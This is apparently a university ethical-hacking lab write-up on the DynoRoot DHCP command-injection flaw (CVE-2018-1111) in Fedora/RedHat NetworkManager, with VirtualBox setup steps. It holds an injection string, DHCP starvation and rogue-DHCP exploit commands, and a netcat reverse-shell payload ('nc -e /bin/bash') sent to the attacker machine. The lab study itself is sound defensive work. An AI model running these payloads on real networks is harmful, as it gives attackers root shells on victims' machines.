This project demonstrates a known vulnerability of Fedora and RedHat machines related to an unsafe client-side implementation of the Dynamic Host Configuration Protocol (DHCP). A rogue DHCP server can craft DHCP offers with a malicious payload that gets executed in a root shell on the victim machine.
The vulnerability is credited to Felix Wilhelm and is known as CVE-2018-1111 or “DynoRoot”.
The Dynamic Host Configuration Protocol (DHCP) is an often-overlooked component in networked systems. Its role is to allow the dynamic configuration of hosts machines that connect to an existing network. The most common use case is to assign an IP address to newly-connected hosts and to inform it of existing routes to access other networks. Additional options can be specified, for example the address of a local DNS server and the zone it serves, or the location of a boot file.
Let’s analyze the 4-way protocol that is followed when a new host wants to join a network after connecting to it physically by means of an ethernet or wireless connection.
DISCOVER
message to the network.OFFER
, containing: IP address, network
submask, router address, and other options.REQUEST
, officially requesting to lease the IP address that was
offeredACK
, indicating that the client is allowed to use the
IP address for a specified amount of time.After the initial exchange, the client can renew the lease by simply sending another REQUEST
message. The server will check the existence of a lease with the client’s IP and MAC address and reply with an ACK
.
Some things to note:
DISCOVER
phase and immediately REQUEST
an address. This is common
in scenarios in which the client already connected to the network in the past and remembers the
previous address. In this case, the server verifies the availability of the address and ACK
s the request, or, in case the lease is not available, sends a NACK
.RELEASE
message to inform the server that the address is
now available. However, this is not mandated by the protocol and the server will periodically
recollect expired leases.OFFER
leases to new clientsOFFER
s it
will only accept one, the other servers will observe the broadcasted REQUEST
and invalidate the
offer.The vulnerability is located in /etc/NetworkManager/dispatcher.d/11-dhclient
, which is executed
by the client to parse and set the options received over DHCP.
declare
is a bash builtin that when used without arguments lists all declared variablesgrep
filters all DHCP-related variableswhile read opt
iterated over the DHCP variables one by one, performs some parsing and
prints a line like export new_optionname=value
for each optioneval
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
In normal situations, the code would work just fine and parse the new DHCP options. As an example, the following code:
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
Will print these two export
statements to be evaluated by eval
:
export new_option_one=42
export new_option_two='bla bla'
However, due to the unsafe eval
, it is possible to inject bash commands:
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
Will result in the evaluation of echo Hacked!
:
[1] 1541
Hacked!
The minimal setup to demonstrate the exploit consists of just two machines: the victim
machine
running Fedora 28, and an attacker
machine. In this setup, the attacker simply needs to offer a
DHCP service and wait the victim’s connection.
A more realistic setup would place the machines on a private network, where a third machine, the
gateway
, is configured as the benign DHCP server and as the gateway to the outside internet.
In this setup, the attacker has to prevent the victim from connecting to the legit DHCP server
before hoping to perform the attack.
In the following sections we will:
gateway
, attacker
, and victim
To jump straight into action and skip the manual setup, it’s possible to
run the setup.sh
script in the ansible
folder, which will (almost)
automatically create the virtual machines and configure them using
Ansible Roles.
Just make sure that Ansible and VirtualBox are installed before launching setup.sh
.
The following instructions are from the official installation guide.
Add this line to /etc/apt/sources.list
:
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
Install virtualbox and the extension pack:
wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add -
wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -
sudo apt-get update
sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1
wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack'
sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack
VBoxManage list extpacks
From the official guide for Ubuntu:
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible
In this section we’ll create the SSH credentials that we’ll use to log in into the machines. Adding the host entries in the SSH config file will save us some typing later.
Create an SSH key with no passphrase:
ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''
Add these entries to the SSH config (~/.ssh/config
):
Host gateway.ethhack
Port 6001
User gateway
Host victim.ethhack
Port 6002
User victim
Host attacker.ethhack
Port 6003
User attacker
Host *.ethhack
LogLevel ERROR
HostName localhost
IdentityFile ~/.ssh/ethhack
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
This machine hosts the benign DHCP server that manages a pool of addresses on the internal network. It is based on Ubuntu Server 18.04 with the ISC DHCP package.
In a real scenario, this machine would also act as a router (iptables) and firewall (UFW Uncomplicated Firewall) between the machines on the network and the outside world. Possibly, it would also host a DNS server for some internal services (BIND9).
We will create the virtual machine using the command-line tools of VirtualBox, so that the process can be repeated as quickly as possible. Otherwise, it’s possible to create the VM through the graphical interface by entering the same configuration.
Download the Ubuntu ISO:
wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso'
md5sum --check << EOF
fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso
EOF
Create the VM:
intnet
internal network600x
port on the host to the SSH port in the virtual machineVM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'
VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
If something goes wrong:
VBoxManage unregistervm "${VM_NAME}" --delete
The first time we boot the machine we need a virtual desktop to follow the installation steps. We
can start the virtual machine in headless more and use rdesktop-vrdp
to connect. If VirtualBox is
running on a desktop computer it might be easier to launch the virtual machine from the GUI, but
this method will work even with a remote VirtualBox host.
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Configuration parameters for the installer:
gateway
gateway
gat
192.168.0.1
on enp0s8
After installation, shutdown, remove the iso and disable VRDE:
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
For ease of access we can install the SSH key created above into the gateway
machine:
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack
If for some reason the enp0s8
network interface was not configured during the installation,
write this config to /etc/netplan/00-installer-config.yaml
:
network:
version: 2
ethernets:
enp0s3:
dhcp4: yes
enp0s8:
dhcp4: no
addresses :
- 192.168.0.1/24
And update the network configuration:
sudo netplan apply
ip addr show dev enp0s8
Install ISC DHCP:
sudo apt install -y isc-dhcp-server
To enable DHCP on the internal interface, let’s edit /etc/default/isc-dhcp-server
:
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
The configuration of the address pool managed by the DHCP goes to /etc/dhcp/dhcpd.conf
:
authoritative;
default-lease-time 60;
max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.100 192.168.0.105;
}
The chose default lease time of 1 minute is rather low, but it useful for demonstration purpose.
Restart service:
sudo systemctl restart isc-dhcp-server
DHCP events are logged to /var/log/syslog
.
We can highlight relevant entries with:
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
If we leave the gateway
on during the installation of the other machines,
they’ll pick up the DHCP configuration automatically.
The attacker machine has no particular requirement, it needs to run Python in a Conda environment. We can reuse the ISO from Ubuntu Server 18.04 for simplicity.
Create the VM:
intnet
internal network600x
port on the host to the SSH port in the virtual machineVM_NAME="attacker"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:aa:aa:aa:aa'
VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
The first time we boot the machine we need a virtual desktop to follow the installation steps. We
can start the virtual machine in headless more and use rdesktop-vrdp
to connect. If VirtualBox is
running on a desktop computer it might be easier to launch the virtual machine from the GUI, but
this method will work even with a remote VirtualBox host.
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Configuration parameters for the installer:
attacker
attacker
att
enp0s8
to use DHCPAfter installation, shutdown, remove the iso and disable VRDE:
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
For ease of access we can install the SSH key created above into the attacker
machine:
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack
ssh attacker.ethhack
The python attack scripts need to run as root
to be able to craft low-level network packages
using Scapy.
For simplicity, we’ll just install all dependencies using the root
user.
<!–
Newest version of NMap (at least 0de714
)
apt-get install -y build-essential autoconf
git clone https://github.com/nmap/nmap
pushd nmap
git checkout 0de714
./configure
make
make install
popd
nmap --script broadcast-dhcp-discover --script-args mac=random,timeout=2 -e enp0s8
nmap --script dhcp-discover --script-args dhcptype=DHCPRELEASE,mac=08:00:27:EF:5F:BA -e enp0s8
–>
Conda environment with Scapy:
sudo su
cd
wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh'
chmod u+x Miniconda3-latest-Linux-x86_64.sh
./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda
./miniconda/bin/conda init
source .bashrc
conda create -y -n dynoroot python=3.6
conda activate dynoroot
pip install 'scapy[complete]'
Next, we’ll get the two attack scripts from GitHub:
git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'
git clone 'https://github.com/baldassarreFe/CVE-2018-1111' --branch 'feature/ignore-mac'
The victim machine is not configured in any particular way, it’s just a Fedora 28 installation with a vulnerable NetworkManager.
Download the Fedora ISO:
wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso'
md5sum --check << EOF
18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso
EOF
Create the VM:
intnet
internal network600x
port on the host to the SSH port in the virtual machineVM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'
VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"
If something goes wrong:
VBoxManage unregistervm "${VM_NAME}" --delete
The first time we boot the machine we need a virtual desktop to follow the installation steps. We
can start the virtual machine in headless more and use rdesktop-vrdp
to connect. If VirtualBox is
running on a desktop computer it might be easier to launch the virtual machine from the GUI, but
this method will work even with a remote VirtualBox host.
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Install config:
fedora
victim
vic
enp0s8
to use DHCPAfter installation, shutdown, remove the iso and disable VRDE:
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
For ease of access we can install the SSH key created above into the victim
machine:
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack
Check that interface enp0s8
is using DHCP:
sudo nmcli device show enp0s8
If not, it can be configured using:
sudo nmcli connection down enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up enp0s8
To revert to a static IP:
sudo nmcli connection down enp0s8
sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24
sudo nmcli connection modify enp0s8 IPv4.method manual
sudo nmcli connection up enp0s8
The following steps, executed in order, will showcase the DHCP attack. We suggest setting up a terminal multiplexer like Byobu to facilitate jumping from one machine to the other.
Before the attack:
The attack itself consists in:
If anything happens, stop all relevant services and start over.
Clean up old DHCP leases and the ARP table, then restart the DHCP:
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8
sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
Get a fresh DHCP lease:
sudo dhclient -r enp0s8
sudo dhclient -v enp0s8
Record DHCP traffic using tcpdump
:
sudo ip link set enp0s8 promisc on
sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'
Alternatively, VirtualBox can also record traffic:
VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap
VBoxManage modifyvm "attacker" --nictrace2 off
Launch DHCP starvation (run as root
):
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
--interface enp0s8 \
--pool-start 192.168.0.100 \
--pool-end 192.168.0.105
Use netcat to listen for connections from the victim:
nc -v -l -p 1337
Launch attack (run as root
):
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
-i enp0s8 \
-s 192.168.0.0/24 \
-g 192.168.0.1 \
-d 'victim.net' \
-m "${MY_MAC}" \
-p "nc -e /bin/bash ${MY_IP} 1337"
Clean up old DHCP leases and reconnect:
sudo nmcli connection down enp0s8
sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete
sudo nmcli connection up enp0s8
nmcli
The following video demonstrates the execution of the attack following the steps above. In the video, it is possible to observe:
gateway
and the attacker
NACK
due to the existing lease of the attacker)gateway
when the victim
broadcasts a DHCP DISCOVER
192.168.0.2
192.168.0.2
victim
,
i.e. DNS address 192.168.0.1
and domain victim.net
RELEASE
sent at the end of the attackThe capture file containing the trace of the attack can be analyzed in Wireshark. In the capture we can note:
gateway
and the attacker
victim
and completed by the attacker
victim
connected to the netcat session
on the attacker
d
DHCP server, a
attacker, f
Fedora victimDynoRoot targets old Fedora and RedHat distributions, and has been patched in more recent releases. Therefore, the chances of performing this exploit in the wild are limited. Luckily, DHCP attacks are not limited to remote code execution: any type of crafted option will be accepted by the client regardless of the presence of the DynoRoot vulnerability. The simplest way to exploit this behavior is to advertise an attacker-controlled machine as the network gateway or as the DNS for a certain zone, thus allowing to monitor, inspect and re-route any further traffic.
Another interesting direction regards DHCP starvation attacks. The attack presented in this project
relies on flooding the DHCP server with REQUESTS
from spoofed MAC addresses, which isn’t the
definition of stealthiness. This blog post explores the possibility of
performing starvation attacks without sending a single DHCP packet
but relying instead of spoofed ARP replies.
CVE-2018-1111 was reported to Red Hat by Felix Wilhelm from the Google Security Team.
The python script for performing the exploit is from Kevin Kirsche’s GitHub repository with slight modifications to ignore the attacker’s own MAC address.